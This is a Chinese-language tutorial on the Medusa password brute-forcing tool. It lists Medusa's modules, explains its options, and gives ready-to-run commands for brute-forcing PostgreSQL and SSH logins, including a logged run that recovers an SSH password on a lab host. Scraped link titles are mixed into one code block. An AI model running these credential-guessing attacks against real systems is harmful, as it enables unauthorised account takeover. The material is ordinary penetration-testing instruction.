

密码爆破工具：Medusa(美杜莎)

Medusa和hydra一样，同样属于在线密码破解工具。不同的是，medusa 的稳定性相较于hydra 要好很多。但是也有缺陷。它的支持模块要比 hydra 少很多，也不支持 rdp 服务协议。同时，它的表单破解也存在着问题。但是不论什么工具，我们都应取其精华，善于利用。

(1) 查看medusa所支持的模块

在终端输入命令，查看medusa所支持的模块。

medusa -d

```
root@kali:~/home/kali# medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

Available modules in ".":

Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules":
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.1
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for MS-SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
+ smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.1
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.1
+ svn.mod : Brute force module for Subversion sessions : version 2.1
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.1
+ web-form.mod : Brute force module for web forms : version 2.1
+ wrapper.mod : Generic Wrapper Module : version 2.0
```

我们可以看到，它支持多达20几种的模块。

(2) Medusa(美杜莎)基本用法

```
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P
file] [-C file] -M module [OPT]
```

参数解释

1	-h [TEXT]	目标IP
2	-H [FILE]	目标主机文件
3	-u [TEXT]	用户名
4	-U [FILE]	用户名文件
5	-p [TEXT]	密码
6	-P [FILE]	密码文件
7	-C [FILE]	组合条目文件
8	-O [FILE]	文件日志信息
9	-e [n/s/ns]	N意为空密码，S意为密码与用户名相同
10	-M [TEXT]	模块执行名称
11	-m [TEXT]	传递参数到模块
12	-d	显示所有的模块名称
13	-n [NUM]	使用非默认端口
14	-s	启用SSL
15	-r [NUM]	重试间隔时间，默认为3秒
16	-t [NUM]	设定线程数量
17	-L	并行化，每个用户使用一个线程
18	-f	在任何主机上找到第一个账号/密码后，停止破解
19	-q	显示模块的使用信息
20	-v [NUM]	详细级别 (0-6)
21	-w [NUM]	错误调试级别 (0-10)
22	-V	显示版本
23	-Z [TEXT]	继续扫描上一次

(3) 查看模块的帮助

```
medusa -M postgres -q
```

```
root@kali:/home/kai# medusa -M postgres -q
Medusa v2.2 [http://www.fooofus.net] (C) JoMo-Kun / Fooofus Networks <jmk@fooofus.net>

postgres.mod (2.0) JoMo-Kun <jmk@fooofus.net> :: Brute force module for PostgreSQL sessions

Available module options:  【资源】暴力破解实战利用hydra神器 (03/20/2020 20:45)
DB:?
  Sets target database name.  【资源】暴力破解实战图形化工具hydra (07/16/19)

Usage example: "-M postgres -m DB:some_db"
root@kali:/home/kai#
```

(4) 爆破postgres数据库密码

```
medusa -H /tmp/ip.txt -u postgres -n 5432 -P /tmp/pass.txt -e ns -M
postgres -T 255 -f -O /tmp/good.txt -r 0
```

参数解释

- 1 -H 爆破的主机文件列表
- 2 -u 爆破用户名
- 3 -n 爆破端口
- 4 -P 爆破使用密码
- 5 -e ns 判断密码是否是空密码,还是账号密码一样.
- 6 -M 使用模块的名字
- 7 -T 可以简单的理解为线程数
- 8 -f 一个ip爆破成功后,就停止该ip剩下的爆破.
- 9 -O 保存成功的文件
- 10 -r 0 重试间隔为0秒

```
root@kali:/# medusa -h 172.16.2.4 -u kai -P /home/kali/pass.txt -M ssh -T 32 -n 22 -e ns -v 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 32 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 11
ACCOUNT CHECK: [ssh] Host: 172.16.2.4 (1 of 1, 0 complete) User: kai (1 of 1, 0 complete) Password: (1
of 13 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.2.4 (1 of 1, 0 complete) User: kai (1 of 1, 0 complete) Password: kai
(2 of 13 complete)
ACCOUNT FOUND: [ssh] Host: 172.16.2.4 User: kai Password: kai [SUCCESS]
GENERAL: Medusa has finished.
root@kali:/#
```